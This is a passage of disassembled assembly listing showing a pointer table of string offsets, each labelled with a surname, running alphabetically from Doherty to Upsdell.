		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
